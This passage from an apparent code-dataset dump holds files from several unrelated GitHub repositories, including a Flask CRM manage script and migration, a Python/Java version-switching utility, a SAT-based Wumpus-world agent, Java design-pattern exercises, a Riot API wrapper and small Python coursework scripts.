Migrate, MigrateCommand\nfrom flask_script import Manager, Shell\n\nfrom application import app, db\nfrom application.models import *\nfrom application.wechat.models import *\nfrom application.web_access_log.models import WebAccessLog\nimport application.views\n\nmigrate = Migrate(app, db)\nmanager = Manager(app)\nmanager.add_command('db', MigrateCommand)\n\n\ndef make_shell_context():\n return dict(app=app, db=db, Content=Content, ContentCategory=ContentCategory,\n ContentClassification=ContentClassification,\n ContentClassificationOption=ContentClassificationOption,\n Material=Material, MaterialApplication=MaterialApplication,\n MaterialApplicationContent=MaterialApplicationContent, DesignApplication=DesignApplication,\n TrackingInfo=TrackingInfo, TrackingInfoDetail=TrackingInfoDetail,\n LogisticsCompanyInfo=LogisticsCompanyInfo,\n Order=Order, OrderContent=OrderContent, Contract=Contract,\n User=User, UserInfo=UserInfo, Resource=Resource, SalesAreaHierarchy=SalesAreaHierarchy,\n DepartmentHierarchy=DepartmentHierarchy, UserAndSaleArea=UserAndSaleArea,\n WechatAccessToken=WechatAccessToken, WechatCall=WechatCall, WechatUserInfo=WechatUserInfo,\n WechatPushMsg=WechatPushMsg,\n ProjectReport=ProjectReport, WebAccessLog=WebAccessLog, ShareInventory=ShareInventory,\n WebpageDescribe=WebpageDescribe, AuthorityOperation=AuthorityOperation)\n\n\nmanager.add_command(\"shell\", Shell(make_context=make_shell_context))\n\n\n# 微信token定时检测任务\[email protected]\ndef cron_wechat_token():\n WechatAccessToken.cron_create_token()\n\n\[email protected]\ndef test():\n import unittest\n tests = unittest.TestLoader().discover('tests')\n unittest.TextTestRunner(verbosity=2).run(tests)\n\n\nif __name__ == '__main__':\n manager.run()\n" }, { "alpha_fraction": 0.6594301462173462, "alphanum_fraction": 0.6892808675765991, "avg_line_length": 34.95121765136719, "blob_id": "cc22b10bef46873e743040cf649fa60af02cd8f6", "content_id": "acf16c40773ccf16255acf0d3a8b6ac010cba697", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 128, "num_lines": 41, "path": "/migrations/versions/65376f05aa12_create_material_application_models.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_material_application_models\n\nRevision ID: 65376f05aa12\nRevises: ad50d4738049\nCreate Date: 2017-02-23 17:31:22.398052\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '65376f05aa12'\ndown_revision = 'ad50d4738049'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('material',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=100), nullable=True),\n sa.Column('memo', sa.Text(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.add_column('material_application_content', sa.Column('material_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'material_application_content', 'material', ['material_id'], ['id'])\n op.drop_column('material_application_content', 'name')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('material_application_content', sa.Column('name', sa.VARCHAR(length=100), autoincrement=False, nullable=True))\n op.drop_constraint(None, 'material_application_content', type_='foreignkey')\n op.drop_column('material_application_content', 'material_id')\n op.drop_table('material')\n # ### end Alembic commands ###\n" } ]
91
KevinAS28/Change-Python-and-Java-Version
https://github.com/KevinAS28/Change-Python-and-Java-Version
b576b5c6e32b2770ae3ab50e0ee7fe0946cf7cb0
b93c0d78859eee8229c0811d87a72ec056be4ce1
2858c55d2d67c4c65f8da3836f43a15b07e00f4b
refs/heads/master
2020-04-21T12:32:21.105827
2019-02-07T12:07:26
2019-02-07T12:07:26
169,565,636
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7808219194412231, "alphanum_fraction": 0.7808219194412231, "avg_line_length": 23.33333396911621, "blob_id": "923daadc3b52ae88f761d21ce7a543c71b15adb3", "content_id": "47928e5c87f7bc885e02c29e5ac5825a6a1fd724", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 73, "license_type": "no_license", "max_line_length": 64, "num_lines": 3, "path": "/README.md", "repo_name": "KevinAS28/Change-Python-and-Java-Version", "src_encoding": "UTF-8", "text": "A Program Shortcut for change java or python version. linux only\n\nKevin AS\n" }, { "alpha_fraction": 0.6697916388511658, "alphanum_fraction": 0.6875, "avg_line_length": 19.80434799194336, "blob_id": "39b5e3bd352286e87084c433e4c5ba3c54acd744", "content_id": "bf0b59d6e5f6d6b58b3e643e9cefd64f5559060c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 960, "license_type": "no_license", "max_line_length": 86, "num_lines": 46, "path": "/chver.py", "repo_name": "KevinAS28/Change-Python-and-Java-Version", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n\nimport sys\nimport os\nimport time\n\ndef spab(x):\n for abc in range(x):\n print(' ')\nprint('''pengubah versi bahasa programming\n\n1.python\n\n2.java\n\nby kevin A ''')\n\nspab(5)\npilih = input('angka: ')\npilih = int(pilih)\nspab(5)\nskr = os.getcwd()\nprint('anda sekarang ada di ' + skr)\nspab(5)\ndirs = '/root/programming/python_saya'\nif (str(skr)) != (str(dirs)):\n print('sedang tidak di python_saya')\n time.sleep(0.5)\n print('merubah ke python_saya')\n os.chdir('/root/programming/python_saya')\n eko = os.getcwd()\n print('dan sekarang ada di ' + eko)\n\n\nif pilih == 1:\n script = \"\"\"update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1\nupdate-alternatives --install /usr/bin/python python /usr/bin/python3.5 2\nupdate-alternatives --config python\n\"\"\"\n os.system(script)\n\nif pilih == 2:\n os.system('sudo update-alternatives --config java') \n os.system('sudo update-alternatives --config javac')\n spab(5)\n os.system('java -version')\n\n\n\n" }, { "alpha_fraction": 0.760869562625885, "alphanum_fraction": 0.79347825050354, "avg_line_length": 60.33333206176758, "blob_id": "bd14e0785bd259d978587d709d648b8576b91a5c", "content_id": "e7193fe28f98f9202723721503d0ba4c34d48aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 184, "license_type": "no_license", "max_line_length": 73, "num_lines": 3, "path": "/changepyversion.sh", "repo_name": "KevinAS28/Change-Python-and-Java-Version", "src_encoding": "UTF-8", "text": "update-alternatives --install /usr/bin/python python /usr/bin/python2.7 1\nupdate-alternatives --install /usr/bin/python python /usr/bin/python3.5 2\nupdate-alternatives --config python\n" } ]
3
John-Major/RIOT-API-WRAPPER
https://github.com/John-Major/RIOT-API-WRAPPER
847c2ca70bdb9983b1c733ff5d24483455b1ae1f
0161463b617e1e5a37463f0934e5261b64ed91ee
acda59aa577320d05f1dee122fca372b4dfc5ff5
refs/heads/master
2022-12-15T21:52:10.470350
2020-09-18T08:08:39
2020-09-18T08:08:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7777777910232544, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 18, "blob_id": "0c21e654f53b1c57c0570b490d26ea2508e8636c", "content_id": "887d7746b9c40db941e56515cd23499760b7cd87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 18, "license_type": "no_license", "max_line_length": 18, "num_lines": 1, "path": "/README.md", "repo_name": "John-Major/RIOT-API-WRAPPER", "src_encoding": "UTF-8", "text": "# RIOT-API-WRAPPER" }, { "alpha_fraction": 0.6483424305915833, "alphanum_fraction": 0.6504406332969666, "avg_line_length": 37.75, "blob_id": "6147ed92cfe5b7ef0750c340c083d9c27d177590", "content_id": "421b12118194a16f30e020ccb663e7548199e28f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2383, "license_type": "no_license", "max_line_length": 136, "num_lines": 60, "path": "/rankedGuideNoAPI_KEY.py", "repo_name": "John-Major/RIOT-API-WRAPPER", "src_encoding": "UTF-8", "text": "import requests\r\n\r\n\r\ndebug = False\r\napi_key = 'YOUR-API-KEY'\r\n\r\ndef request_summoner_data(region, summoner_name, api_key):\r\n url = \"https://\" + region + \".api.riotgames.com/lol/summoner/v4/summoners/by-name/\" + summoner_name + \"?api_key=\" + api_key\r\n response = requests.get(url)\r\n return response.json()\r\n\r\ndef request_ranked_data(region, summoner_id, api_key):\r\n url = \"https://\" + region + \".api.riotgames.com/lol/league/v4/entries/by-summoner/\" + summoner_id + \"?api_key=\" + api_key\r\n response = requests.get(url)\r\n return response.json()\r\n\r\ndef request_solo_queue_summoners_rift_rank(ranked_data_response_json):\r\n for queueType in ranked_data_response_json:\r\n if (str(queueType['queueType']) == \"RANKED_SOLO_5x5\"):\r\n print(\"Queue Type: \" + str(queueType['queueType']))\r\n print(\"Tier: \" + str(queueType['tier']) + \" Rank: \" + str(queueType['rank']) + \" Points: \" + str(queueType['leaguePoints']))\r\n\r\ndef request_flex_queue_summoners_rift_rank(ranked_data_response_json):\r\n for queueType in ranked_data_response_json:\r\n if (str(queueType['queueType']) == \"RANKED_FLEX_SR\"):\r\n print(\"Queue Type: \" + str(queueType['queueType']))\r\n print(\"Tier: \" + str(queueType['tier']) + \" Rank: \" + str(queueType['rank']) + \" Points: \" + str(queueType['leaguePoints']))\r\n\r\ndef request_flex_queue_twisted_treeline_rank(ranked_data_response_json):\r\n for queueType in ranked_data_response_json:\r\n if (str(queueType['queueType']) == \"RANKED_FLEX_TT\"):\r\n print(\"Queue Type: \" + str(queueType['queueType']))\r\n print(\"Tier: \" + str(queueType['tier']) + \" Rank: \" + str(queueType['rank']) + \" Points: \" + str(queueType['leaguePoints']))\r\n\r\n\r\nif (debug):\r\n region = \"na1\"\r\n summoner_name = \"naruza\"\r\nelse:\r\n region = input(\"Enter a region: \")\r\n summoner_name = input(\"Enter your summoner name: \")\r\n\r\n\r\n\r\n\r\n\r\nsummoner_response_json = request_summoner_data(region, summoner_name, api_key)\r\nranked_data_response_json = request_ranked_data(region, str(summoner_response_json['id']), api_key)\r\n\r\n\r\nprint(summoner_response_json)\r\nprint(ranked_data_response_json)\r\nrequest_solo_queue_summoners_rift_rank(ranked_data_response_json)\r\n#request_flex_queue_summoners_rift_rank(ranked_data_response_json)\r\n#request_flex_queue_twisted_treeline_rank(ranked_data_response_json)\r\n\r\n\r\n\r\n\r\ninput()" } ]
2
Ninad1103/Wumpus-World
https://github.com/Ninad1103/Wumpus-World
0dad98cf9ff06848bb129674e34401303a846986
2c6aefcacca1b7bd87a451e7d17391ed53ce0bf4
6b3f911486b56c64dceb1cdf32b6c7fdc4903276
refs/heads/main
2023-08-25T13:25:36.422104
2021-11-01T15:46:10
2021-11-01T15:46:10
423,522,219
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5409602522850037, "alphanum_fraction": 0.5619257092475891, "avg_line_length": 40.7675666809082, "blob_id": "956f9ecefebf9aa08745a0c63736f29cb651e2c7", "content_id": "89b43dc3fc3ab213afa517c21ffc0697f5d17d8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7727, "license_type": "no_license", "max_line_length": 181, "num_lines": 185, "path": "/2018A7PS0162G_NINAD.py", "repo_name": "Ninad1103/Wumpus-World", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nfrom Agent import * # See the Agent.py file\nfrom pysat.solvers import Glucose3\n\n#### All your code can go here.\n\n#### You can change the main function as you wish. Run this program to see the output. Also see Agent.py code.\n\n#function to find adjacent rooms of current room \ndef Adj(currentLocation):\n moves = [[currentLocation[0],currentLocation[1]+1],[currentLocation[0],currentLocation[1]-1],[currentLocation[0]-1,currentLocation[1]],[currentLocation[0]+1,currentLocation[1]]]\n rooms = [] \n for i in moves :\n if (i[0]>0 and i[0]<5 and i[1]>0 and i[1]<5):\n rooms.append(i)\n\n return rooms\n\n#mapping assigns the following numbers to our rooms\n\"\"\"\n [13,14,15,16]\n [9,10,11,12]\n [5,6,7,8]\n [1,2,3,4]\n\n\"\"\"\n\ndef mapping (currentLocation):\n roomNumber = currentLocation[0] + (currentLocation[1]-1)*4\n return roomNumber \n\ndef main():\n \n ag = Agent()\n knowledgeBase = []\n knowledgeBase.append([16])\n path = []\n \n mineRooms = []\n visited = [] \n visitCount = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]\n prevRoom = 0\n number = 0\n #program terminates after 150 iterations for an invalid minefield\n while (ag.FindCurrentLocation() != [4,4]) :\n safeRooms = []\n currentLocation = ag.FindCurrentLocation()\n visitCount[mapping(currentLocation)-1]+=1\n visited.append(currentLocation)\n path.append(currentLocation)\n knowledgeBase.append([mapping(currentLocation)])\n # [4] in knowledge base means mine is not in room 4 and it is safe \n percept = ag.PerceiveCurrentLocation()\n adjacentRooms = []\n adjacentRooms = Adj(currentLocation)\n # print(\"Adjacent Rooms: \",adjacentRooms)\n # print(\"\\n\")\n #adding clauses based on percepts\n if percept == '=0' :\n for room in adjacentRooms:\n knowledgeBase.append([mapping(room)])\n if room not in safeRooms:\n safeRooms.append(room)\n elif percept == '=1':\n if len(adjacentRooms) == 2:\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1])]) \n elif len(adjacentRooms) == 3:\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1]), -mapping(adjacentRooms[2])])\n knowledgeBase.append([mapping(adjacentRooms[0]), mapping(adjacentRooms[1])])\n knowledgeBase.append([mapping(adjacentRooms[1]), mapping(adjacentRooms[2])])\n knowledgeBase.append([mapping(adjacentRooms[2]), mapping(adjacentRooms[0])]) \n elif len(adjacentRooms) == 4:\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1]), -mapping(adjacentRooms[2]),-mapping(adjacentRooms[3])])\n knowledgeBase.append([mapping(adjacentRooms[0]), mapping(adjacentRooms[1])])\n knowledgeBase.append([mapping(adjacentRooms[1]), mapping(adjacentRooms[2])])\n knowledgeBase.append([mapping(adjacentRooms[2]), mapping(adjacentRooms[0])])\n knowledgeBase.append([mapping(adjacentRooms[0]), mapping(adjacentRooms[3])])\n knowledgeBase.append([mapping(adjacentRooms[3]), mapping(adjacentRooms[2])])\n knowledgeBase.append([mapping(adjacentRooms[1]), mapping(adjacentRooms[3])])\n\n else:\n if len(adjacentRooms) == 2:\n knowledgeBase.append([-mapping(adjacentRooms[0])])\n knowledgeBase.append([-mapping(adjacentRooms[1])])\n elif len(adjacentRooms) == 3:\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1])])\n knowledgeBase.append([-mapping(adjacentRooms[1]), -mapping(adjacentRooms[2])])\n knowledgeBase.append([-mapping(adjacentRooms[2]), -mapping(adjacentRooms[0])])\n elif len(adjacentRooms) == 4:\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1]), -mapping(adjacentRooms[2])])\n knowledgeBase.append([-mapping(adjacentRooms[1]), -mapping(adjacentRooms[3]), -mapping(adjacentRooms[2])])\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[3]), -mapping(adjacentRooms[2])])\n knowledgeBase.append([-mapping(adjacentRooms[0]), -mapping(adjacentRooms[1]), -mapping(adjacentRooms[3])])\n \n \n #now to take action TakeAction()\n \n \n g = Glucose3()\n for i in knowledgeBase:\n g.add_clause(i) \n #checking adjacent rooms by adding clauses and checking safety\n for room in adjacentRooms: \n if((g.solve(assumptions = [-mapping(room)]) == False) and (room not in safeRooms) ):\n safeRooms.append(room)\n \n\n \n \n #Searching for action to take in safe rooms \n #Sorting safe rooms giving more priority to lesser visited rooms \n\n\n # for i in range(len(safeRooms)):\n # for j in range(i+1,len(safeRooms)):\n # if (safeRooms[i] in visited and safeRooms[j] not in visited):\n # safeRooms[i],safeRooms[j] = safeRooms[j],safeRooms[i] \n \n # for i in range(len(safeRooms)):\n # for j in range(i+1,len(safeRooms)):\n # if (visitCount[mapping(safeRooms[i])-1] > visitCount[mapping(safeRooms[j])-1]):\n # safeRooms[i],safeRooms[j] = safeRooms[j],safeRooms[i] \n\n def funcsort (e):\n return visitCount[mapping(e)-1]\n\n safeRooms.sort(key = funcsort) \n \n\n # print(\"Safe Rooms :\", safeRooms)\n # print(\"\\n\")\n unvisited = []\n for i in range(len(safeRooms)):\n if (visitCount[mapping(safeRooms[i])-1] == 0):\n unvisited.append(safeRooms[i])\n unvisited.sort(reverse = True) \n #print(\"Unvisited :\", unvisited) \n\n #checking not visited room first to give preference to lesser distance from [4,4] \n if (len(unvisited) != 0):\n room = unvisited[0]\n if (mapping(room) - mapping(currentLocation) == 4):\n ag.TakeAction('Up')\n continue\n elif (mapping(room) - mapping(currentLocation) == 1):\n ag.TakeAction('Right')\n continue\n elif (mapping(room) - mapping(currentLocation) == -1):\n ag.TakeAction('Left')\n continue\n elif (mapping(room) - mapping(currentLocation) == -4):\n ag.TakeAction('Down')\n continue \n print(\"\\n\") \n else: \n for room in safeRooms :\n if (mapping(room) - mapping(currentLocation) == 4):\n ag.TakeAction('Up')\n break\n elif (mapping(room) - mapping(currentLocation) == 1):\n ag.TakeAction('Right')\n break\n elif (mapping(room) - mapping(currentLocation) == -1):\n ag.TakeAction('Left')\n break\n elif (mapping(room) - mapping(currentLocation) == -4):\n ag.TakeAction('Down')\n break \n print(\"\\n\") \n number+=1\n if number == 150:\n print(\"Invalid\")\n print(\"\\n\") \n break\n #print(\"Visted : \",visited)\n #print(\"\\n\") \n path.append([4,4])\n ag.TakeAction('Right') \n #print(path) \n for i in range(len(path)-1) :\n print(path[i],\" => \",end = '')\n print([4,4]) \n\nif __name__=='__main__':\n main()\n" } ]
1
sangm1n/-.DKUniversity
https://github.com/sangm1n/-.DKUniversity
904f0424c68c89160930da0241f16c4b332829cb
7e3b366a9e3bafef2ef04aee2733f71c2a297a22
a3f871fd712486ae5ad924da121ea0656395d396
refs/heads/master
2020-12-23T14:01:53.941205
2020-12-21T12:20:45
2020-12-21T12:20:45
237,172,667
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6199158430099487, "alphanum_fraction": 0.6423562169075012, "avg_line_length": 27.559999465942383, "blob_id": "3c252fdfe15e763347e26d195799174f87f61421", "content_id": "52c9b6768de65db6dbf31ab623189124c7ff4692", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 713, "license_type": "no_license", "max_line_length": 92, "num_lines": 25, "path": "/오픈소스SW활용/4. Lists/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nConsider two functions f (x) = x abd g(x) = x2 on the interval f(x) = abd g(x) = x^2\non the interval [-4, 4]. Write a program that finds approximately for which value of\nx the two graphs cross. Do this by considering N equally distributed points on the interval,\nat each point checking whether |f(x)-g(x)| < e with a fixed value e.\nLet N and e be user input to the program and let the result be printed to screen.\n\nRun your program with N=400 and e=0.01\n\"\"\"\n\nN = int(input('input N : '))\ne = float(input('input e : '))\n\narr = []\nresult = []\nsum = -4\n\nfor i in range(N+1):\n arr.append(round(sum, 2))\n sum += (8/N)\n\n if abs(sum - sum**2) < e:\n result.append(round(sum, 2))\n\nprint('x :', result)" }, { "alpha_fraction": 0.6395938992500305, "alphanum_fraction": 0.6598984599113464, "avg_line_length": 27.214284896850586, "blob_id": "5428815ac174d24c62c88517f38707d82448c223", "content_id": "e9979ddf68d66356df7a91d3c5caece475ad9033", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 396, "license_type": "no_license", "max_line_length": 106, "num_lines": 14, "path": "/오픈소스SW활용/2. Data types and Strings/problem6.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nLet p be a bank’s interest rate in percent per year. After n years, an initial amount A has taken grown to\n\nA(1+p/100)^n\n\"\"\"\n\np = float(input('input interest rate : '))\nn = int(input('input year : '))\nA = int(input('input initial amount : '))\n\nresult = A*(1+p/100)**n\n\nprint('total (initial amount + interest) :', round(result))\nprint('interest (total - initial amount) :', round(result-A))" }, { "alpha_fraction": 0.6912181377410889, "alphanum_fraction": 0.6926345825195312, "avg_line_length": 25.185184478759766, "blob_id": "df85baaf8cba88244968f140a122ad144633f391", "content_id": "65566d38fd5ce2d7c4fc8a315954c7926d41992a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 706, "license_type": "no_license", "max_line_length": 81, "num_lines": 27, "path": "/디자인패턴/report6/AbstractVehicle.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\npublic abstract class AbstractVehicle implements Vehicle {\n\tprivate Engine engine;\n\tprivate Vehicle.Colour colour;\n\t\n\tpublic AbstractVehicle(Engine engine) {\n\t\tthis(engine, Vehicle.Colour.UNPAINTED);\n\t}\n\tpublic AbstractVehicle(Engine engine, Vehicle.Colour colour) {\n\t\tthis.engine = engine;\n\t\tthis.colour = colour;\n\t}\n\tpublic Engine getEngine() {\n\t\treturn engine;\n\t}\n\tpublic Vehicle.Colour getColour() {\n\t\treturn colour;\n\t}\n\tpublic void paint(Vehicle.Colour colour) {\n\t\tthis.colour = colour;\n\t}\n\tpublic String toString() {\n\t\treturn getClass().getSimpleName() + \" (\" + engine.getClass().getSimpleName() + \n\t\t\t\t\"(\" + engine.getSize() + \"), \" + colour + \", price \" + getPrice() + \") \";\n\t}\n}" }, { "alpha_fraction": 0.7113401889801025, "alphanum_fraction": 0.7216494679450989, "avg_line_length": 23.5, "blob_id": "a09bf6bd75ac89e282252670be73b298c9c3b524", "content_id": "080197f48ac38445f6293c6d5a1b8ebdb06a251b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 97, "license_type": "no_license", "max_line_length": 45, "num_lines": 4, "path": "/오픈소스SW활용/3. Modules and Objects/chebyshev.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "from scipy.spatial import distance\n\ndef dist(u, v):\n return round(distance.chebyshev(u, v), 2)" }, { "alpha_fraction": 0.801886796951294, "alphanum_fraction": 0.8113207817077637, "avg_line_length": 20.399999618530273, "blob_id": "d263c0411e591cb6bd35a7c7401102cf3d5d1c05", "content_id": "83733986c61be9951d9c408c64f9765fc6291e9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 106, "license_type": "no_license", "max_line_length": 50, "num_lines": 5, "path": "/디자인패턴/report6/GearBoxStrategy.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter7;\n\npublic interface GearBoxStrategy {\n\tvoid ensureCorrectGear(Engine engine, int speed);\n}" }, { "alpha_fraction": 0.7101346850395203, "alphanum_fraction": 0.7250177264213562, "avg_line_length": 33.414634704589844, "blob_id": "b2bdf54779655dd9640ab571bafec476cde0a3b4", "content_id": "628f9bbcd8902a5c103143700446bdf496c883cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1411, "license_type": "no_license", "max_line_length": 136, "num_lines": 41, "path": "/인공지능/model/vc_test.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport pylab as plt\n\nfrom sklearn.model_selection import KFold,cross_val_score\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import VotingClassifier\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\nnames = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class']\ndf = pd.read_csv('pima-indians-diabetes.csv', names=names)\nX = df.values[:, 0:8]\ny = df.values[:, 8]\n\n# scale X\nscl = StandardScaler()\nX = scl.fit_transform(X)\n\n# set a 10-fold cross validation\nn_splits = 10\nkfold = KFold(n_splits=n_splits)\n\n# create the models\nestimators = []\nclf1 = LogisticRegression()\nestimators.append(('logistic', clf1))\nclf2 = DecisionTreeClassifier()\nestimators.append(('dtree', clf2))\nclf3 = SVC(probability=True)\nestimators.append(('svm', clf3))\n\n# create the ensemble model\nhard_ensemble = VotingClassifier(estimators, voting='hard')\nsoft_ensemble = VotingClassifier(estimators, voting='soft', weights=[.3, .3, .4])\nfor clf, label in zip([clf1, clf2, clf3, hard_ensemble, soft_ensemble], ['logistic', 'dtree', 'svm', 'hard ensemble', 'soft ensemble']):\n scores = cross_val_score(clf, X, y, cv=kfold)\n print('Accuracy: %.2f (+/- %.2f) [%s]' % (scores.mean(), scores.std(), label))\n" }, { "alpha_fraction": 0.6690140962600708, "alphanum_fraction": 0.7276995182037354, "avg_line_length": 20.350000381469727, "blob_id": "666a31a85f077bc7169caa1bc8eedb31cdd98327", "content_id": "a3219500683edfa69c00325ddbb79cdc3fd9aaf2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 426, "license_type": "no_license", "max_line_length": 46, "num_lines": 20, "path": "/디자인패턴/report7-2/Main.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter8_2;\n\n/*\n * 2020.05.02 Foobar Motor Company\n\n * by. sangmin\n */\n\npublic class Main {\n\tpublic static void main(String []args) {\n\t\tSpeedMonitor2 monitor = new SpeedMonitor2();\n\t\tSpeedometer2 speedo = new Speedometer2();\n\t\tspeedo.registerObserver(monitor);\n\t\tspeedo.setCurrentSpeed(50);\n\t\tspeedo.setCurrentSpeed(70);\n\t\tspeedo.setCurrentSpeed(40);\n\t\tspeedo.setCurrentSpeed(100);\n\t\tspeedo.setCurrentSpeed(69);\n\t}\n}" }, { "alpha_fraction": 0.704081654548645, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 23.5, "blob_id": "1a837613cdbb19a70d0c3056fedd2d688a817220", "content_id": "9d375832787e6aaccfe1f47bcaddb3fc81d65d36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "no_license", "max_line_length": 45, "num_lines": 4, "path": "/오픈소스SW활용/3. Modules and Objects/manhattan.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "from scipy.spatial import distance\n\ndef dist(u, v):\n return round(distance.cityblock(u, v), 2)\n" }, { "alpha_fraction": 0.5709001421928406, "alphanum_fraction": 0.5709001421928406, "avg_line_length": 23.57575798034668, "blob_id": "f6348de1b3ccbfe5560f07493e8cabcf7705f247", "content_id": "f682d87d3925a56dd2224420b39bdadf1f36d3fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 811, "license_type": "no_license", "max_line_length": 92, "num_lines": 33, "path": "/오픈소스SW활용/Problem/problem5.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign a class Msg that models an e-mail message.\nA message has a recipient, a sender, and a message text.\n\"\"\"\n\n\nclass Msg:\n def __init__(self, sender, recipient, text):\n self.sender = sender\n self.recipient = recipient\n self.text = text\n\n def append(self, new_text):\n self.text += '\\n\\t\\t' + new_text\n\n def __str__(self):\n return \"From {}\\nTo: {}\\nContent: {}\".format(self.sender, self.recipient, self.text)\n\n\nif __name__ == '__main__':\n sender = input('input a sender : ')\n recipient = input('input a recipient : ')\n text = input('input a text (endpoint is .) : ')\n\n message = Msg(sender, recipient, text)\n while True:\n new_text = input()\n message.append(new_text)\n\n if new_text == \".\":\n break\n\n print(message)\n" }, { "alpha_fraction": 0.7113401889801025, "alphanum_fraction": 0.7216494679450989, "avg_line_length": 23.5, "blob_id": "1c547945788d1144c69e12d774596f0432d5a0dd", "content_id": "57c649d76f9ee2d7661775fc38132238e95e755d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 97, "license_type": "no_license", "max_line_length": 45, "num_lines": 4, "path": "/오픈소스SW활용/3. Modules and Objects/euclidean.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "from scipy.spatial import distance\n\ndef dist(u, v):\n return round(distance.euclidean(u, v), 2)" }, { "alpha_fraction": 0.7406143546104431, "alphanum_fraction": 0.7474402785301208, "avg_line_length": 17.375, "blob_id": "6d6c3f6e17cccea998c7b9746bcb10bbde141004", "content_id": "7dde138437543faef49d5dbec0eb5547dac10cf5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 293, "license_type": "no_license", "max_line_length": 45, "num_lines": 16, "path": "/디자인패턴/report7-1/Speedometer.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter8_1;\n\nimport java.util.Observable;\n\npublic class Speedometer extends Observable {\n\tint currentSpeed;\n\t\n\tpublic void setCurrentSpeed(int speed) {\n\t\tthis.currentSpeed = speed;\n\t\tsetChanged();\n\t\tnotifyObservers();\n\t}\n\tpublic int getCurrentSpeed() {\n\t\treturn this.currentSpeed;\n\t}\n}" }, { "alpha_fraction": 0.5364396572113037, "alphanum_fraction": 0.5459976196289062, "avg_line_length": 21.026315689086914, "blob_id": "6acc8f1d75b72efe1c1319f3b5786a9909569c30", "content_id": "26690a2d30f2c365e8f14c764801a5c8fcc73b83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 837, "license_type": "no_license", "max_line_length": 74, "num_lines": 38, "path": "/오픈소스SW활용/Problem/find_value.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite and test your Python function to find the maximum and minimum values\n\"\"\"\n\nimport re\n\n\ndef find_value(data):\n valueMax = sorted(data, key=lambda x: x[2], reverse=True)\n valueMin = sorted(data, 